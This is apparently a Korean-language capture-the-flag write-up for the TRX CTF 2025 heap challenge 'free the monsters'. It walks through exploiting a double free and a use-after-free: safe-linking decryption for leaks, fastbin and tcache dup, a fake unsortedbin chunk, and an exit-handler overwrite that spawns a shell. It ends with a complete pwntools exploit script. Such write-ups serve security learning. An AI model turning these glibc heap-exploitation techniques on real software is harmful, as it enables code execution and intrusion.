PWN - TRX CTF 2025 - free the monsters (heap, exit_handler o.w.)

TRX CTF 2025 - PWN - free the monsters (heap, exit_handler o.w.)

Free the monsters.zip

취약점

image.png

→ double free 발생 가능

image.png

# Attack: 93802085791678 -> fd
# Defense: 8956201802388395130 -> key

→ UAF, free된 청크의 데이터를 읽을 수 있음 → heap/libc leak 가능

Protection

image.png

libc도 full protection이기 때문에, libc got overwrite도 불가능함 → exit handler overwrite를 해보자

Heap Address leak

free(1)
dump()
p.recvuntil(b"Attack: ")
fd = int(p.recvline()[:-1])
p.recvuntil(b"Defense: ")
key = int(p.recvline()[:-1])
print(hex(fd), hex(key))

heap_base = decrypt_safe_linking(fd) - 0x2e0
heap_base_key = heap_base >> 12
print(hex(heap_base))

change_equipment로 alloc하고 free 하면 print_player_info에 fd와 bk(tcache니까 key)값 leak 가능

이걸로 heap_base와 하위 12비트를 제외한 값(나중에 address encryption 때 사용)을 얻을 수 있다.

Library Address Leak

Heap을 사용해서 라이브러리 주소를 leak하기 위해서, unsortedbin에 들어있는 청크를 읽으면 편해진다.

근데 할당할 수 있는 힙 크기가 0x40(이 크기는 unsortedbin 없이 fastbin으로 직행함)으로 고정되어있으므로,

  1. fake chunk(0xa0 크기)를 만들어주고 할당→해제하여 tcache bin에 들어가게 만듦
  2. 해당 청크를 7+1번 free하여 tcache_dup & 하나는 unsortedbin에 들어가게 만듦.

위 과정을 통해 fake chunk를 unsortedbin에 넣을 수 있음.

image.png

Fastbin Dup → Chunk Allocation to an arbitrary address

이걸 하기 위해서는 fastbin dup을 먼저 수행해야함.

A→B→A 해제하면 A가 중복되어 fastbin에 들어감, 이를 이용해 원하는 주소에 청크를 할당할 수 있음. 어떻게 하냐면,

  1. A 청크 할당 요청하고, fd 값에 할당받고 싶은 청크(target)를 넣음 물론 target 주소에는 fake chunk 헤더가 있어야함.

    Before :

     Fastbin : A -> B -> A
    

    After :

     Fastbin : B -> A -> target
    
  2. target이 할당될 때까지, 앞에 있는 B, A 할당받기

    Before :

     Fastbin : B -> A -> target
    

    After :

     Fastbin : target
    
  3. 한번 더 할당하면 fake chunk인 target이 할당됨.

위 원리를 적용해보자

for i in range(1, 8): #tcache 채울 용도
    alloc(i, 1, 1, b"A"*i)

#fastbin dup 용도
alloc(8, 8, 8, b"A"*8)
alloc(9, 9, 9, b"A"*9)
alloc(10, 10, 10, b"A"*10)

for i in range(1, 8): #tcache 채우기
    free(i)

free(8)
free(9)
free(8)

# fastbin 8 -> 9 -> 8
fake_header = p64(0) + p64(0xa1)
alloc(8, encrypt(decrypt_safe_linking(fd)-0x40+0x260), 0x44, fake_header)

# fastbin 9 -> 8 -> fakechunk
alloc(9, 9, 9, b"\x00")

# fastbin 8 -> fakechunk
alloc(1, 1, 1, b"\x00")

# fastbin fakechunk
alloc(2, 12, 12, b"\x00")

free(2) #free fake chunk -> tcache

image.png

image.png

A(0x55cb2221a4d0) → B(0x55cb2221a510) → A(0x55cb2221a4d0) 이렇게 fastbin dup이 되었다.

image.png

A 할당 요청을 하고, data영역에 fake청크를 작성해줬다.

A→FD : [0x55cb2221a4e0] = encrypted fake chunk address

A→BK : [0x55cb2221a4e8] = 그냥 심심해서 0x44 넣었음

FAKE→Header : [0x55cb2221a4f0] = 0x0 (prev_size)

FAKE→size : [0x55cb2221a4f8] = 0xa1 (chunk_size, unsortedbin available size)

이유는 잘 모르겠지만 fasbin에 있는게 다 tcachebin으로 들어감..(추측: size가 0xa1으로 다른 fake chunk가 리스트에 존재해서 뭔가 깨지지 않았을까?)

image.png

alloc 1

image.png

alloc 2

image.png

alloc 3 → fake chunks

image.png

image.png

이제 fake chunk의 주소를 가지고 double free → tcache dup를 마음껏 수행할 수 있다

image.png

fake chunk 사이즈에 해당하는 tcachebin 7개를 모두 채워야 해당 크기의 청크가 unsortedbin에 들어갈 것이다. 이를 위해 fake chunk에 대한 tcache dup을 수행하자.

아까 fake chunk를 만들때 사용했던 방식으로, fake chunk의 key값을 덮어주자.

for i in range(7):
    # tcache에 있는 2 청크 double free하기 위해 key값 덮기
    free(8)
    fake_header = p64(0) + p64(0xa1) + p64(0) + b"\x00"
    alloc(8, 0, 0, fake_header)
    free(2) #free fake chunk -> tcache

image.png

tcache가 다 차면,

image.png

마지막으로 free한 애는 unsortedbin에 들어간다.

이 상태에서 info 출력을 하면,

====================================
Chest:
Attack: 140203740887840
Defense: 140203740887840
====================================

위 처럼 0x7f83ba2bfb20(main_arena + 0x60) 값이 출력될 것이고, exit_handler overwrite를 위해 필요한 주소들을 아래와 같이 구할 수 있다.

libc_base 0x7f83ba0ae000
fs_base_0x30 0x7f83ba0ab770
initial 0x7f83ba2c0fc0

AAW using Tcache Dup

fake chunk를 이용해 tcache dup을 수행하고, tcache의 fd값을 원하는 주소로 변조하여 alloc 하는 방식으로, 원하는 주소에 원하는 값을 쓸 수 있다.

  1. fake chunk 0x40 tcache dup * 3

    image.png

  2. fake chunk alloc 한 후 fd값을 target 주소로 변경

    image.png

  3. alloc 한번 더 해서 tcachebins[0x40]이 target 주소를 가리키도록 함

    image.png

  4. target 주소에 청크 할당 후 값을 씀 [target] = 0x0

    image.png

위 과정은 아래의 primitive를 구현해서 수행할 수 있다.

for i in range(3): # tcachebin dup * 3
    free(8)
    fake_header = p64(0) + p64(0x41) + p64(0) + b"\x00"
    alloc(8, 0, 0, fake_header)
    free(2)

alloc(1, encrypt(target), 0, b"\x00")
alloc(1, 0, 0, b"\x00")
alloc(1, val1, val2, val3_bytes)

이걸 사용해서

  • fs_base+0x30 = 0
  • initial+0x18 = system_addr → rol 0x11
  • initial+0x20 = “/bin/sh”

위 조건을 맞춰주고, 5번 옵션으로 exit하면 shell을 얻을 수 있다.

image.png

  • exploit payload

      from pwn import *
      from bitstring import BitArray
        
      def decrypt_safe_linking(ptr):
          _12bits = []
          dec = 0
          while ptr != 0:
              _12bits.append(ptr & 0xfff)
              ptr = ptr >> 12
        
          x = _12bits.pop()
          while len(_12bits) > 0:
              dec |= x
              dec = dec << 12
              y = _12bits.pop()
              x = x ^ y
          dec |= x
        
          return dec
        
      def encrypt(plain):
          return (heap_base_key ^ plain)
        
      def alloc(idx, fd, bk, name):
          p.recvuntil(b"Exit\n> ")
          p.sendline(b"4")
          p.recvuntil(b"Palamute\n> ")
          p.sendline(str(idx).encode())
          p.recvuntil(b"> ")
          p.send(b"1\n")
          p.recvuntil(b"name: ")
          p.send(name)
          p.recvuntil(b"attack: ")
          p.sendline(str(fd).encode())
          p.recvuntilb(b"defense: ")
          p.sendline(str(bk).encode())
          print(idx, "allocated")
        
      def free(idx):
          p.recvuntil(b"Exit\n> ")
          p.sendline(b"4")
          p.recvuntil(b"Palamute\n> ")
          p.sendline(str(idx).encode())
          p.sendline(b"2")
        
      def dump():
          p.recvuntil(b"Exit\n> ")
          p.sendline(b"1")
          p.recvuntil(b"asdfasdfasdf")
          p.recvline()
        
      p = process("./challenge")
      p.recvuntil(b"> ")
      p.send(b"asdfasdfasdf")
        
      #setup
      for i in range(10):
          p.recvuntil(b"Exit\n> ")
          p.sendline(b"2")
          p.recvuntil(b"> ")
          p.sendline(b"1")
          p.recvuntil(b"> ")
          p.sendline(b"3")
          p.recvuntil(b"Your character has leveled up!\n")
      for i in range(10):
          p.recvuntil(b"Exit\n> ")
          p.sendline(b"2")
          p.recvuntil(b"> ")
          p.sendline(b"2")
          p.recvuntil(b"> ")
          p.sendline(b"3")
          p.recvuntil(b"Your character has leveled up!\n")
      for i in range(10):
          p.recvuntil(b"Exit\n> ")
          p.sendline(b"2")
          p.recvuntil(b"> ")
          p.sendline(b"3")
          p.recvuntil(b"> ")
          p.sendline(b"3")
          p.recvuntil(b"Your character has leveled up!\n")
        
      alloc(1, 1, 2, b"asdf")
        
      # Attack: 93802085791678 -> fd
      # Defense: 8956201802388395130 -> key
      dump()
      free(1)
      dump()
      p.recvuntil(b"Attack: ")
      fd = int(p.recvline()[:-1])
      p.recvuntil(b"Defense: ")
      key = int(p.recvline()[:-1])
      print(hex(fd), hex(key))
        
      heap_base = decrypt_safe_linking(fd) - 0x2e0
      heap_base_key = heap_base >> 12
      print(hex(heap_base))
        
      p.recvuntil(b"Exit\n> ")
      p.sendline(b"2")
      p.recvuntil(b"> ")
      p.sendline(b"3")
        
      # libc leak
      # heap을 unsortedbin으로 넣어야함 -> size 변조
        
      for i in range(1, 8):
          alloc(i, 1, 1, b"A"*i)
        
      alloc(8, 8, 8, b"A"*8)
      alloc(9, 9, 9, b"A"*9)
      alloc(10, 10, 10, b"A"*10)
      for i in range(1, 8):
          free(i)
        
      free(8)
      free(9)
      free(8)
        
      # fastbin 8 -> 9 -> 8
        
      for i in range(1, 8):
          alloc(i, 1, 1, b"A"*i)
        
      # 0xa1으로 변조
      fake_header = p64(0) + p64(0xa1)
      alloc(8, encrypt(decrypt_safe_linking(fd)-0x40+0x260), 0x44, fake_header) 
      # fastbin 9 -> 8 -> fakechunk
      alloc(9, 9, 9, b"\x00")
        
      # fastbin 8 -> fakechunk
      alloc(1, 1, 1, b"\x00")
      # fastbin fakechunk
      alloc(2, 12, 12, b"\x00")
        
      free(2) #free fake chunk -> tcache
      alloc(1, 1, 1, b"\x00")  #fakechunk + 0xa0 주소에, 청크의 헤더가 존재해야함
        
      for i in range(7):
          # tcache에 있는 2 청크 double free하기 위해 key값 덮기
          free(8)
          fake_header = p64(0) + p64(0xa1) + p64(0) + b"\x00"
          alloc(8, 0, 0, fake_header)
          free(2) #free fake chunk
            
      #마지막으로 free한 애는 unsorted bin에 들어감
        
      """tcachebins
      0x40 [  0]: 0x556e5087e
      0xa0 [  7]: 0x556e5087e500 ◂— 0x7f961591035e
      fastbins
      empty
      unsortedbin
      all: 0x556e5087e4f0 —▸ 0x7f9343740b20 ◂— 0x556e5087e4f0
      smallbins
      empty
      largebins
      empty
        
      ====================================
      Chest:
      Attack: 140270468598560
      Defense: 140270468598560
      ====================================
      """
        
      dump()
      p.recvuntil(b"Chest: ")
      p.recvline()
      p.recvuntil(b"Attack: ")
      int(p.recvline()[:-1])
      p.recvuntil(b"Defense: ")
      main_arena = int(p.recvline()[:-1])
        
      libc_base = main_arena - 0x211b20
      fs_base_0x30 = libc_base - 0x28c0 + 0x30
      system = libc_base + 0x5af30
      binsh = libc_base + 0x1d944a
      initial = libc_base + 0x212fc0
        
      print("libc_base", hex(libc_base))
      print("fs_base_0x30", hex(fs_base_0x30))
      print("initial", hex(initial))
        
      for i in range(3):
          free(8)
          fake_header = p64(0) + p64(0x41) + p64(0) + b"\x00"
          alloc(8, 0, 0, fake_header)
          free(2)
        
      alloc(1, encrypt(fs_base_0x30), 0, b"\x00")
      alloc(1, 0, 0, b"\x00")
      alloc(1, 0, 0, b"\x00")
        
      for i in range(3):
          free(8)
          fake_header = p64(0) + p64(0x41) + p64(0) + b"\x00"
          alloc(8, 0, 0, fake_header)
          free(2)
        
      bits = BitArray(uint=system, length=64)
      bits.rol(0x11)
      mangled_ptr = bits.uint
        
      alloc(1, encrypt(initial), 0, b"\x00")
      alloc(1, 0, 0, b"\x00")
      alloc(1, 1, 4, p64(4) + p64(mangled_ptr) + p64(binsh))
        
      p.recvuntil(b"Exit\n> ")
      p.sendline(b"5")
        
      p.interactive()